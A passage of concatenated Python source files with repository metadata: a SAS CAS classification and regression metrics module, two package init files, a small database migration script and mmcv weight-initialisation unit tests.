list(rocinfo.Sensitivity) + [0] fig, ax = plt.subplots(1, 1, figsize=figsize) ax.plot(recall, precision, linestyle='-', linewidth=linewidth) ax.set_ylim([-0.01, 1.01]) ax.set_xlim([-0.01, 1.01]) ax.set_xlabel('Recall', fontsize=fontsize['xlabel']) ax.set_ylabel('Precision', fontsize=fontsize['ylabel']) ax.get_xaxis().set_tick_params(direction='out', labelsize=fontsize['xtick']) ax.get_yaxis().set_tick_params(direction='out', labelsize=fontsize['ytick']) ax.set_title('Precision-Recall curve', fontsize=fontsize['title']) return ax def roc_auc_score(y_true, y_score, pos_label, castable=None, cutstep=0.001, id_vars=None): ''' Compute the area under the receiver operating characteristic (ROC) curve for binary classification tasks. Parameters ---------- y_true : string or :class:`CASColumn` The column of the ground truth labels. If it is a string, then y_score has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_score has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_score and y_true are :class:`CASColumn`, they can be in different CASTable. y_score : string or :class:`CASColumn` The column of estimated probability for the positive class. If it is a string, then y_true has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_true has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_score and y_true are :class:`CASColumn`, they can be in different CASTable. pos_label : string, int or float The positive class label. castable : :class:`CASTable`, optional The CASTable object to use as the source if the y_score and y_true are strings. Default = None cutstep : float > 0 and < 1, optional The stepsize of threshold cutoffs. Default=0.001. id_vars : string or list of strings, optional Column names that serve as unique id for y_true and y_score if they are from different CASTables. The column names need to appear in both CASTables, and they serve to match y_true and y_score appropriately, since observation orders can be shuffled in distributed computing environment. Default = None. Returns ------- score : float ''' if not isinstance(pos_label, str): pos_label = str(pos_label) check_results = _check_inputs(y_true, y_score, castable=castable, return_target_dtype=False, id_vars=id_vars) y_true = check_results[0] y_score = check_results[1] castable = check_results[2] conn = check_results[3] tmp_table_created = check_results[4] conn.retrieve('loadactionset', _messagelevel = 'error', actionset = 'percentile') res = conn.retrieve('percentile.assess', _messagelevel = 'error', table=castable, inputs=y_score, response=y_true, event=pos_label, cutstep=cutstep) if tmp_table_created: # if tmp_tbl_created, tbl_name referes to the temporary table name conn.retrieve('table.droptable', _messagelevel='error', name=castable.name) rocinfo = res['ROCInfo'] auc_score = rocinfo.C.loc[0] return auc_score def average_precision_score(y_true, y_score, pos_label, castable=None, cutstep=0.001, interpolate=False, id_vars=None): ''' Compute the average precision score for binary classification tasks. Parameters ---------- y_true : string or :class:`CASColumn` The column of the ground truth labels. If it is a string, then y_score has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_score has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_score and y_true are :class:`CASColumn`, they can be in different CASTable. y_score : string or :class:`CASColumn` The column of estimated probability for the positive class. If it is a string, then y_true has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_true has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_score and y_true are :class:`CASColumn`, they can be in different CASTable. pos_label : string, int or float The positive class label. castable : :class:`CASTable`, optional The CASTable object to use as the source if the y_score and y_true are strings. Default = None cutstep : float > 0 and < 1, optional The stepsize of threshold cutoffs. Default=0.001. interpolate : boolean, optional If ``interpolate=True``, it is the area under the precision recall curve with linear interpolation. Otherwise, it is defined as https://scikit-learn.org/stable/modules/generated/sklearn.metrics.average_precision_score.html id_vars : string or list of strings, optional Column names that serve as unique id for y_true and y_score if they are from different CASTables. The column names need to appear in both CASTables, and they serve to match y_true and y_score appropriately, since observation orders can be shuffled in distributed computing environment. Default = None. Returns ------- score : float ''' if not isinstance(pos_label, str): pos_label = str(pos_label) check_results = _check_inputs(y_true, y_score, castable=castable, return_target_dtype=False, id_vars=id_vars) y_true = check_results[0] y_score = check_results[1] castable = check_results[2] conn = check_results[3] tmp_table_created = check_results[4] conn.retrieve('loadactionset', _messagelevel = 'error', actionset = 'percentile') res = conn.retrieve('percentile.assess', _messagelevel = 'error', table=castable, inputs=y_score, response=y_true, event=pos_label, cutstep=cutstep) if tmp_table_created: # if tmp_tbl_created, tbl_name referes to the temporary table name conn.retrieve('table.droptable', _messagelevel='error', name=castable.name) rocinfo = res['ROCInfo'] rocinfo.loc[rocinfo.TP+ rocinfo.FP == 0, 'FDR'] = 0 fdr = list(rocinfo.FDR) + [0] precision = [1-x for x in fdr] recall = list(rocinfo.Sensitivity) + [0] if interpolate: #Calculate the area under the PR curve using trapezoidal rule, with linear interpolation ap = sum([np.mean(precision[i:i+2])*(recall[i]-recall[i+1]) for i in range(len(recall)-1)]) else: #Use the formulation same as scikit-learn without linear interpolation. #https://scikit-learn.org/stable/modules/generated/sklearn.metrics.average_precision_score.html ap = sum([precision[i]*(recall[i]-recall[i+1]) for i in range(len(recall)-1)]) return ap def f1_score(y_true, y_pred, pos_label, castable=None, id_vars=None): ''' Compute the f1 score of the binary classification task. f1 score is defined as :math:`\frac{2PR}{P+R}`, where :math:`P` is the precision and :math:`R` is the recall. Parameters ---------- y_true : string or :class:`CASColumn` The column of the ground truth labels. If it is a string, then y_pred has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_pred has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_pred and y_true are :class:`CASColumn`, they can be in different CASTables. y_pred : string or :class:`CASColumn` The column of the predicted class labels. If it is a string, then y_true has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_true has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_pred and y_true are :class:`CASColumn`, they can be in different CASTables. pos_label : string, int or float The positive class label. castable : :class:`CASTable`, optional The CASTable object to use as the source if the y_pred and y_true are strings. Default = None id_vars : string or list of strings, optional Column names that serve as unique id for y_true and y_pred if they are from different CASTables. The column names need to appear in both CASTables, and they serve to match y_true and y_pred appropriately, since observation orders can be shuffled in distributed computing environment. Default = None. Returns ------- score : float ''' conf_mat = confusion_matrix(y_true, y_pred, castable=castable, id_vars=id_vars) recall = conf_mat.iloc[pos_label, pos_label]/conf_mat.iloc[pos_label, :].sum() precision = conf_mat.iloc[pos_label, pos_label]/conf_mat.iloc[:, pos_label].sum() f1 = 2*precision*recall/(precision + recall) return f1 def explained_variance_score(y_true, y_pred, castable=None, id_vars=None): ''' Compute the explained variance score for a regression task. It is the fraction of the target variable variance that is explained by the model. Parameters ---------- y_true : string or :class:`CASColumn` The column of the ground truth target values. If it is a string, then y_pred has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_pred has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_pred and y_true are :class:`CASColumn`, they can be in different CASTables. y_pred : string or :class:`CASColumn` The column of the predicted target values. If it is a string, then y_true has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_true has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_pred and y_true are :class:`CASColumn`, they can be in different CASTables. castable : :class:`CASTable`, optional The CASTable object to use as the source if the y_pred and y_true are strings. Default = None id_vars : string or list of strings, optional Column names that serve as unique id for y_true and y_pred if they are from different CASTables. The column names need to appear in both CASTables, and they serve to match y_true and y_pred appropriately, since observation orders can be shuffled in distributed computing environment. Default = None. Returns ------- score : float ''' check_results = _check_inputs(y_true, y_pred, castable=castable, return_target_dtype=False, id_vars=id_vars) y_true = check_results[0] y_pred = check_results[1] castable = check_results[2] conn = check_results[3] tmp_table_created = check_results[4] error_colname = 'err' # check whether error_colname is already in the castable, # to avoid duplication or overwrite when creating computedvars. while error_colname in castable.columns: error_colname = random_name(name='err_') castbl_params = {} castbl_params['computedvars'] = [{"name":error_colname}] code = '{2}={0}-{1}'.format(y_true, y_pred, error_colname) castbl_params['computedvarsprogram'] = code castable = conn.CASTable(castable.name, **castbl_params) total_var = castable[y_true].var() err_var = castable[error_colname].var() expl_var = 1 - err_var/total_var if tmp_table_created: # if tmp_table_created, tbl_name referes to the temporary table name conn.retrieve('table.droptable', _messagelevel='error', name=castable.name) return expl_var def mean_absolute_error(y_true, y_pred, castable=None, id_vars=None): ''' Compute the mean absolute error of a regression task. Parameters ---------- y_true : string or :class:`CASColumn` The column of the ground truth target values. If it is a string, then y_pred has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_pred has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_pred and y_true are :class:`CASColumn`, they can be in different CASTables. y_pred : string or :class:`CASColumn` The column of the predicted target values. If it is a string, then y_true has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_true has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_pred and y_true are :class:`CASColumn`, they can be in different CASTables. castable : :class:`CASTable`, optional The CASTable object to use as the source if the y_pred and y_true are strings. Default = None id_vars : string or list of strings, optional Column names that serve as unique id for y_true and y_pred if they are from different CASTables. The column names need to appear in both CASTables, and they serve to match y_true and y_pred appropriately, since observation orders can be shuffled in distributed computing environment. Default = None. Returns ------- loss : float ''' check_results = _check_inputs(y_true, y_pred, castable=castable, return_target_dtype=False, id_vars=id_vars) y_true = check_results[0] y_pred = check_results[1] castable = check_results[2] conn = check_results[3] tmp_table_created = check_results[4] error_colname = 'abserr' # check whether error_colname is already in the castable, # to avoid duplication or overwrite when creating computedvars. while error_colname in castable.columns: error_colname = random_name(name='abserr_') castbl_params = {} castbl_params['computedvars'] = [{"name":error_colname}] code = '{2}=abs({0}-{1})'.format(y_true, y_pred, error_colname) castbl_params['computedvarsprogram'] = code castable = conn.CASTable(castable.name, **castbl_params) mae = castable[error_colname].mean() if tmp_table_created: # if tmp_table_created, tbl_name referes to the temporary table name conn.retrieve('table.droptable', _messagelevel='error', name=castable.name) return mae def mean_squared_error(y_true, y_pred, castable=None, id_vars=None): ''' Compute the mean squared error of a regression task. Parameters ---------- y_true : string or :class:`CASColumn` The column of the ground truth target values. If it is a string, then y_pred has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_pred has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_pred and y_true are :class:`CASColumn`, they can be in different CASTables. y_pred : string or :class:`CASColumn` The column of the predicted target values. If it is a string, then y_true has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_true has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_pred and y_true are :class:`CASColumn`, they can be in different CASTables. castable : :class:`CASTable`, optional The CASTable object to use as the source if the y_pred and y_true are strings. Default = None id_vars : string or list of strings, optional Column names that serve as unique id for y_true and y_pred if they are from different CASTables. The column names need to appear in both CASTables, and they serve to match y_true and y_pred appropriately, since observation orders can be shuffled in distributed computing environment. Default = None. Returns ------- loss : float ''' check_results = _check_inputs(y_true, y_pred, castable=castable, return_target_dtype=False, id_vars=id_vars) y_true = check_results[0] y_pred = check_results[1] castable = check_results[2] conn = check_results[3] tmp_table_created = check_results[4] error_colname = 'err2' # check whether error_colname is already in the castable, # to avoid duplication or overwrite when creating computedvars. while error_colname in castable.columns: error_colname = random_name(name='err2_') castbl_params = {} castbl_params['computedvars'] = [{"name":error_colname}] code = '{2}=({0}-{1})**2'.format(y_true, y_pred, error_colname) castbl_params['computedvarsprogram'] = code castable = conn.CASTable(castable.name, **castbl_params) mse = castable[error_colname].mean() if tmp_table_created: # if tmp_table_created, tbl_name referes to the temporary table name conn.retrieve('table.droptable', _messagelevel='error', name=castable.name) return mse def mean_squared_log_error(y_true, y_pred, castable=None, id_vars=None): ''' Compute the mean squared logarithmic error of the regression tasks. Parameters ---------- y_true : string or :class:`CASColumn` The column of the ground truth target values. If it is a string, then y_pred has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_pred has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_pred and y_true are :class:`CASColumn`, they can be in different CASTables. y_pred : string or :class:`CASColumn` The column of the predicted target values. If it is a string, then y_true has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_true has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_pred and y_true are :class:`CASColumn`, they can be in different CASTables. castable : :class:`CASTable`, optional The CASTable object to use as the source if the y_pred and y_true are strings. Default = None id_vars : string or list of strings, optional Column names that serve as unique id for y_true and y_pred if they are from different CASTables. The column names need to appear in both CASTables, and they serve to match y_true and y_pred appropriately, since observation orders can be shuffled in distributed computing environment. Default = None. Returns ------- loss : float ''' check_results = _check_inputs(y_true, y_pred, castable=castable, return_target_dtype=False, id_vars=id_vars) y_true = check_results[0] y_pred = check_results[1] castable = check_results[2] conn = check_results[3] tmp_table_created = check_results[4] error_colname = 'logerr2' # check whether error_colname is already in the castable, # to avoid duplication or overwrite when creating computedvars. while error_colname in castable.columns: error_colname = random_name(name='logerr2_') castbl_params = {} castbl_params['computedvars'] = [{"name":error_colname}] code = '{2}=(log(1+{0})-log(1+{1}))**2'.format(y_true, y_pred, error_colname) castbl_params['computedvarsprogram'] = code castable = conn.CASTable(castable.name, **castbl_params) logerr2 = castable[error_colname].mean() if tmp_table_created: # if tmp_table_created, tbl_name referes to the temporary table name conn.retrieve('table.droptable', _messagelevel='error', name=castable.name) return logerr2 def r2_score(y_true, y_pred, castable=None, id_vars=None): ''' Compute the R^2 (coefficient of determination) regression score. Parameters ---------- y_true : string or :class:`CASColumn` The column of the ground truth target values. If it is a string, then y_pred has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_pred has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_pred and y_true are :class:`CASColumn`, they can be in different CASTables. y_pred : string or :class:`CASColumn` The column of the predicted target values. If it is a string, then y_true has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_true has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_pred and y_true are :class:`CASColumn`, they can be in different CASTables. castable : :class:`CASTable`, optional The CASTable object to use as the source if the y_pred and y_true are strings. Default = None id_vars : string or list of strings, optional Column names that serve as unique id for y_true and y_pred if they are from different CASTables. The column names need to appear in both CASTables, and they serve to match y_true and y_pred appropriately, since observation orders can be shuffled in distributed computing environment. Default = None. Returns ------- loss : float ''' mse = mean_squared_error(y_true, y_pred, castable=castable, id_vars=id_vars) check_results = _check_inputs(y_true, y_pred, castable=castable, return_target_dtype=False, id_vars=id_vars) y_true = check_results[0] y_pred = check_results[1] castable = check_results[2] conn = check_results[3] tmp_table_created = check_results[4] nobs = castable[[y_true, y_pred]].dropna().shape[0] sse = nobs*mse tss = castable[y_true].var()*(nobs-1) r2 = 1- sse/tss if tmp_table_created: # if tmp_table_created, tbl_name referes to the temporary table name conn.retrieve('table.droptable', _messagelevel='error', name=castable.name) return r2 def _check_inputs(y_true, y_pred, castable=None, return_target_dtype=False, id_vars=None): ''' Check the input argument y_true, y_pred, and return their names if they are CASColumn. If y_true, and y_pred is in the form of CASColumn and from different CASTables, a temporary CASTable will be created which contains both columns. Parameters ---------- y_true : string or :class:`CASColumn` The column of the ground truth labels. If it is a string, then y_pred has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_pred has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_pred and y_true are :class:`CASColumn`, they can be in different CASTables. y_pred : string or :class:`CASColumn` The column of the predicted class labels. If it is a string, then y_true has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_true has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_pred and y_true are :class:`CASColumn`, they can be in different CASTables. castable : :class:`CASTable`, optional The CASTable object to use as the source if the y_pred and y_true are strings. Default = None return_target_dtype : boolean, optional If True, return the data type of y_true in the CASTable. Default = False id_vars : string or list of strings, optional Column names that serve as unique id for y_true and y_pred if they are from different CASTables. The column names need to appear in both CASTables, and they serve to match y_true and y_pred appropriately, since observation orders can be shuffled in distributed computing environment. Default = None. Returns ------- y_true : string The column name of the y_true column. y_pred : string The column name of the y_pred column. castable : :class:`CASTable` The original CASTable if y_true and y_pred are in the same castable. The temporary table that contain both columns if y_true and y_pred is from different CASTable. conn : :class:`CAS` The connection on the CASColumn or CASTable. tmp_table_created : boolean Whether a temporary CASTable is created to host y_true and y_pred. target_dtype : string The data type of y_true in the CASTable. Only provided if `return_target_dtype` is True. ''' tmp_table_created = False if isinstance(y_pred, str) and isinstance(y_true, str): if not isinstance(castable, CASTable): raise ValueError('castable need to be a CASTable if y_true and y_pred are strings') conn = castable.get_connection() if return_target_dtype: colinfo = castable.columninfo().ColumnInfo target_dtype = colinfo.Type[colinfo.Column==y_true].values[0] elif isinstance(y_pred, CASColumn) and isinstance(y_true, CASColumn): conn = y_true.get_connection() y_true_tblname = y_true.to_outtable_params()['name'] y_pred_tblname = y_pred.to_outtable_params()['name'] if return_target_dtype: colinfo = y_true.columninfo().ColumnInfo target_dtype = colinfo.Type[colinfo.Column==y_true.name].values[0] y_true = y_true.name y_pred = y_pred.name if y_true_tblname != y_pred_tblname: tmp_table_name = random_name('metric_tmp',6) if id_vars is None: warnings.warn('{} and {} are from different CASTables, '.format(y_true, y_pred) + 'and their appropriate matching may not be guaranteed '+ 'unless id_vars argument is provided.') sascode = ''' data {}; merge {}(keep={}) {}(keep={}); run; '''.format(tmp_table_name, y_true_tblname, y_true, y_pred_tblname, y_pred) conn.retrieve('dataStep.runCode', _messagelevel='error', code=sascode, single='Yes') else: if not isinstance(id_vars, list): id_vars = [id_vars] y_true_keep = ' '.join([y_true]+id_vars) y_pred_keep = ' '.join([y_pred]+id_vars) by_var = ' '.join(id_vars) sascode = ''' data {}; merge {}(keep={}) {}(keep={}); by {}; run; '''.format(tmp_table_name, y_true_tblname, y_true_keep, y_pred_tblname, y_pred_keep, by_var) conn.retrieve('dataStep.runCode', _messagelevel='error', code=sascode) castable = conn.CASTable(tmp_table_name) tmp_table_created = True else: castable = conn.CASTable(y_true_tblname) else: raise ValueError('Input for ground truth and predicted value need to be the same type of either '+ 'strings representing column names or CASColumns') if return_target_dtype: return (y_true, y_pred, castable, conn, tmp_table_created, target_dtype) else: return (y_true, y_pred, castable, conn, tmp_table_created)

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Python

accountifie/toolkit/utils/__init__.py

imcallister/accountifie

094834c9d632e0353e3baf8d924eeb10cba0add4

[ "MIT", "Unlicense" ]

4

2017-06-02T08:48:48.000Z

2021-11-21T23:57:15.000Z

accountifie/toolkit/utils/__init__.py

imcallister/accountifie

094834c9d632e0353e3baf8d924eeb10cba0add4

[ "MIT", "Unlicense" ]

3

2020-06-05T16:55:42.000Z

2021-06-10T17:43:12.000Z

accountifie/toolkit/utils/__init__.py

imcallister/accountifie

094834c9d632e0353e3baf8d924eeb10cba0add4

[ "MIT", "Unlicense" ]

4

2015-12-15T14:27:51.000Z

2017-04-21T21:42:27.000Z

from .everything import * from .datefuncs import * from .gl_helpers import * from .tables import * from .highchart_config import *

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py

Python

lib/backbone/__init__.py

sx14/BBN

e67f3f684ad7965396387dacab50a53cfa3be32b

[ "MIT" ]

null

lib/backbone/__init__.py

sx14/BBN

e67f3f684ad7965396387dacab50a53cfa3be32b

[ "MIT" ]

null

lib/backbone/__init__.py

sx14/BBN

e67f3f684ad7965396387dacab50a53cfa3be32b

[ "MIT" ]

null

from .resnet import res50, bbn_res50 from .resnet_cifar import res32_cifar, bbn_res32_cifar, res32_cifar_mb

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Python

src/closure_table/auth/db/manage.py

vyacheslav-bezborodov/dvhb

b3ff8bee6274c29e49f053ad8bc3f6ca050ec584

[ "MIT" ]

1

2018-05-13T13:04:51.000Z

src/closure_table/auth/db/manage.py

vyacheslav-bezborodov/closure-table-meetup

a606db0dbd736f4fe70cea1883649412a560902c

[ "MIT" ]

null

src/closure_table/auth/db/manage.py

vyacheslav-bezborodov/closure-table-meetup

a606db0dbd736f4fe70cea1883649412a560902c

[ "MIT" ]

null

#!/usr/bin/env python from migrate.versioning.shell import main if __name__ == '__main__': main(repository='src/closure_table/auth/db/', debug='False', url='postgresql://closureuser:closurepass@localhost/closuredb')

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tests/test_cnn/test_weight_init.py

raoshenglong/mmcv

e22740b1d6953d75a0acecce4455d23800b1f018

[ "Apache-2.0" ]

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2018-10-12T08:39:46.000Z

2022-03-31T17:22:55.000Z

tests/test_cnn/test_weight_init.py

raoshenglong/mmcv

e22740b1d6953d75a0acecce4455d23800b1f018

[ "Apache-2.0" ]

1,637

2018-10-12T06:06:18.000Z

2022-03-31T02:20:53.000Z

tests/test_cnn/test_weight_init.py

raoshenglong/mmcv

e22740b1d6953d75a0acecce4455d23800b1f018

[ "Apache-2.0" ]

1,234

2018-10-12T09:28:20.000Z

2022-03-31T15:56:24.000Z

# Copyright (c) OpenMMLab. All rights reserved. import random from tempfile import TemporaryDirectory import numpy as np import pytest import torch from scipy import stats from torch import nn from mmcv.cnn import (Caffe2XavierInit, ConstantInit, KaimingInit, NormalInit, PretrainedInit, TruncNormalInit, UniformInit, XavierInit, bias_init_with_prob, caffe2_xavier_init, constant_init, initialize, kaiming_init, normal_init, trunc_normal_init, uniform_init, xavier_init) def test_constant_init(): conv_module = nn.Conv2d(3, 16, 3) constant_init(conv_module, 0.1) assert conv_module.weight.allclose( torch.full_like(conv_module.weight, 0.1)) assert conv_module.bias.allclose(torch.zeros_like(conv_module.bias)) conv_module_no_bias = nn.Conv2d(3, 16, 3, bias=False) constant_init(conv_module_no_bias, 0.1) assert conv_module.weight.allclose( torch.full_like(conv_module.weight, 0.1)) def test_xavier_init(): conv_module = nn.Conv2d(3, 16, 3) xavier_init(conv_module, bias=0.1) assert conv_module.bias.allclose(torch.full_like(conv_module.bias, 0.1)) xavier_init(conv_module, distribution='uniform') # TODO: sanity check of weight distribution, e.g. mean, std with pytest.raises(AssertionError): xavier_init(conv_module, distribution='student-t') conv_module_no_bias = nn.Conv2d(3, 16, 3, bias=False) xavier_init(conv_module_no_bias) def test_normal_init(): conv_module = nn.Conv2d(3, 16, 3) normal_init(conv_module, bias=0.1) # TODO: sanity check of weight distribution, e.g. mean, std assert conv_module.bias.allclose(torch.full_like(conv_module.bias, 0.1)) conv_module_no_bias = nn.Conv2d(3, 16, 3, bias=False) normal_init(conv_module_no_bias) # TODO: sanity check distribution, e.g. mean, std def test_trunc_normal_init(): def _random_float(a, b): return (b - a) * random.random() + a def _is_trunc_normal(tensor, mean, std, a, b): # scipy's trunc norm is suited for data drawn from N(0, 1), # so we need to transform our data to test it using scipy. z_samples = (tensor.view(-1) - mean) / std z_samples = z_samples.tolist() a0 = (a - mean) / std b0 = (b - mean) / std p_value = stats.kstest(z_samples, 'truncnorm', args=(a0, b0))[1] return p_value > 0.0001 conv_module = nn.Conv2d(3, 16, 3) mean = _random_float(-3, 3) std = _random_float(.01, 1) a = _random_float(mean - 2 * std, mean) b = _random_float(mean, mean + 2 * std) trunc_normal_init(conv_module, mean, std, a, b, bias=0.1) assert _is_trunc_normal(conv_module.weight, mean, std, a, b) assert conv_module.bias.allclose(torch.full_like(conv_module.bias, 0.1)) conv_module_no_bias = nn.Conv2d(3, 16, 3, bias=False) trunc_normal_init(conv_module_no_bias) # TODO: sanity check distribution, e.g. mean, std def test_uniform_init(): conv_module = nn.Conv2d(3, 16, 3) uniform_init(conv_module, bias=0.1) # TODO: sanity check of weight distribution, e.g. mean, std assert conv_module.bias.allclose(torch.full_like(conv_module.bias, 0.1)) conv_module_no_bias = nn.Conv2d(3, 16, 3, bias=False) uniform_init(conv_module_no_bias) def test_kaiming_init(): conv_module = nn.Conv2d(3, 16, 3) kaiming_init(conv_module, bias=0.1) # TODO: sanity check of weight distribution, e.g. mean, std assert conv_module.bias.allclose(torch.full_like(conv_module.bias, 0.1)) kaiming_init(conv_module, distribution='uniform') with pytest.raises(AssertionError): kaiming_init(conv_module, distribution='student-t') conv_module_no_bias = nn.Conv2d(3, 16, 3, bias=False) kaiming_init(conv_module_no_bias) def test_caffe_xavier_init(): conv_module = nn.Conv2d(3, 16, 3) caffe2_xavier_init(conv_module) def test_bias_init_with_prob(): conv_module = nn.Conv2d(3, 16, 3) prior_prob = 0.1 normal_init(conv_module, bias=bias_init_with_prob(0.1)) # TODO: sanity check of weight distribution, e.g. mean, std bias = float(-np.log((1 - prior_prob) / prior_prob)) assert conv_module.bias.allclose(torch.full_like(conv_module.bias, bias)) def test_constaninit(): """test ConstantInit class.""" model = nn.Sequential(nn.Conv2d(3, 1, 3), nn.ReLU(), nn.Linear(1, 2)) func = ConstantInit(val=1, bias=2, layer='Conv2d') func(model) assert torch.equal(model[0].weight, torch.full(model[0].weight.shape, 1.)) assert torch.equal(model[0].bias, torch.full(model[0].bias.shape, 2.)) assert not torch.equal(model[2].weight, torch.full(model[2].weight.shape, 1.)) assert not torch.equal(model[2].bias, torch.full(model[2].bias.shape, 2.)) func = ConstantInit(val=3, bias_prob=0.01, layer='Linear') func(model) res = bias_init_with_prob(0.01) assert torch.equal(model[0].weight, torch.full(model[0].weight.shape, 1.)) assert torch.equal(model[2].weight, torch.full(model[2].weight.shape, 3.)) assert torch.equal(model[0].bias, torch.full(model[0].bias.shape, 2.)) assert torch.equal(model[2].bias, torch.full(model[2].bias.shape, res)) # test layer key with base class name model = nn.Sequential(nn.Conv2d(3, 1, 3), nn.ReLU(), nn.Conv1d(1, 2, 1)) func = ConstantInit(val=4., bias=5., layer='_ConvNd') func(model) assert torch.all(model[0].weight == 4.) assert torch.all(model[2].weight == 4.) assert torch.all(model[0].bias == 5.) assert torch.all(model[2].bias == 5.) # test bias input type with pytest.raises(TypeError): func = ConstantInit(val=1, bias='1') # test bias_prob type with pytest.raises(TypeError): func = ConstantInit(val=1, bias_prob='1') # test layer input type with pytest.raises(TypeError): func = ConstantInit(val=1, layer=1) def test_xavierinit(): """test XavierInit class.""" model = nn.Sequential(nn.Conv2d(3, 1, 3), nn.ReLU(), nn.Linear(1, 2)) func = XavierInit(bias=0.1, layer='Conv2d') func(model) assert model[0].bias.allclose(torch.full_like(model[2].bias, 0.1)) assert not model[2].bias.allclose(torch.full_like(model[0].bias, 0.1)) constant_func = ConstantInit(val=0, bias=0, layer=['Conv2d', 'Linear']) func = XavierInit(gain=100, bias_prob=0.01, layer=['Conv2d', 'Linear']) model.apply(constant_func) assert torch.equal(model[0].weight, torch.full(model[0].weight.shape, 0.)) assert torch.equal(model[2].weight, torch.full(model[2].weight.shape, 0.)) assert torch.equal(model[0].bias, torch.full(model[0].bias.shape, 0.)) assert torch.equal(model[2].bias, torch.full(model[2].bias.shape, 0.)) res = bias_init_with_prob(0.01) func(model) assert not torch.equal(model[0].weight, torch.full(model[0].weight.shape, 0.)) assert not torch.equal(model[2].weight, torch.full(model[2].weight.shape, 0.)) assert torch.equal(model[0].bias, torch.full(model[0].bias.shape, res)) assert torch.equal(model[2].bias, torch.full(model[2].bias.shape, res)) # test layer key with base class name model = nn.Sequential(nn.Conv2d(3, 1, 3), nn.ReLU(), nn.Conv1d(1, 2, 1)) func = ConstantInit(val=4., bias=5., layer='_ConvNd') func(model) assert torch.all(model[0].weight == 4.) assert torch.all(model[2].weight == 4.) assert torch.all(model[0].bias == 5.) assert torch.all(model[2].bias == 5.) func = XavierInit(gain=100, bias_prob=0.01, layer='_ConvNd') func(model) assert not torch.all(model[0].weight == 4.) assert not torch.all(model[2].weight == 4.) assert torch.all(model[0].bias == res) assert torch.all(model[2].bias == res) # test bias input type with pytest.raises(TypeError): func = XavierInit(bias='0.1', layer='Conv2d') # test layer inpur type with pytest.raises(TypeError): func = XavierInit(bias=0.1, layer=1) def test_normalinit(): """test Normalinit class.""" model = nn.Sequential(nn.Conv2d(3, 1, 3), nn.ReLU(), nn.Linear(1, 2)) func = NormalInit(mean=100, std=1e-5, bias=200, layer=['Conv2d', 'Linear']) func(model) assert model[0].weight.allclose(torch.tensor(100.)) assert model[2].weight.allclose(torch.tensor(100.)) assert model[0].bias.allclose(torch.tensor(200.)) assert model[2].bias.allclose(torch.tensor(200.)) func = NormalInit( mean=300, std=1e-5, bias_prob=0.01, layer=['Conv2d', 'Linear']) res = bias_init_with_prob(0.01) func(model) assert model[0].weight.allclose(torch.tensor(300.)) assert model[2].weight.allclose(torch.tensor(300.)) assert model[0].bias.allclose(torch.tensor(res)) assert model[2].bias.allclose(torch.tensor(res)) # test layer key with base class name model = nn.Sequential(nn.Conv2d(3, 1, 3), nn.ReLU(), nn.Conv1d(1, 2, 1)) func = NormalInit(mean=300, std=1e-5, bias_prob=0.01, layer='_ConvNd') func(model) assert model[0].weight.allclose(torch.tensor(300.)) assert model[2].weight.allclose(torch.tensor(300.)) assert torch.all(model[0].bias == res) assert torch.all(model[2].bias == res) def test_truncnormalinit(): """test TruncNormalInit class.""" model = nn.Sequential(nn.Conv2d(3, 1, 3), nn.ReLU(), nn.Linear(1, 2)) func = TruncNormalInit( mean=100, std=1e-5, bias=200, a=0, b=200, layer=['Conv2d', 'Linear']) func(model) assert model[0].weight.allclose(torch.tensor(100.)) assert model[2].weight.allclose(torch.tensor(100.)) assert model[0].bias.allclose(torch.tensor(200.)) assert model[2].bias.allclose(torch.tensor(200.)) func = TruncNormalInit( mean=300, std=1e-5, a=100, b=400, bias_prob=0.01, layer=['Conv2d', 'Linear']) res = bias_init_with_prob(0.01) func(model) assert model[0].weight.allclose(torch.tensor(300.)) assert model[2].weight.allclose(torch.tensor(300.)) assert model[0].bias.allclose(torch.tensor(res)) assert model[2].bias.allclose(torch.tensor(res)) # test layer key with base class name model = nn.Sequential(nn.Conv2d(3, 1, 3), nn.ReLU(), nn.Conv1d(1, 2, 1)) func = TruncNormalInit( mean=300, std=1e-5, a=100, b=400, bias_prob=0.01, layer='_ConvNd') func(model) assert model[0].weight.allclose(torch.tensor(300.)) assert model[2].weight.allclose(torch.tensor(300.)) assert torch.all(model[0].bias == 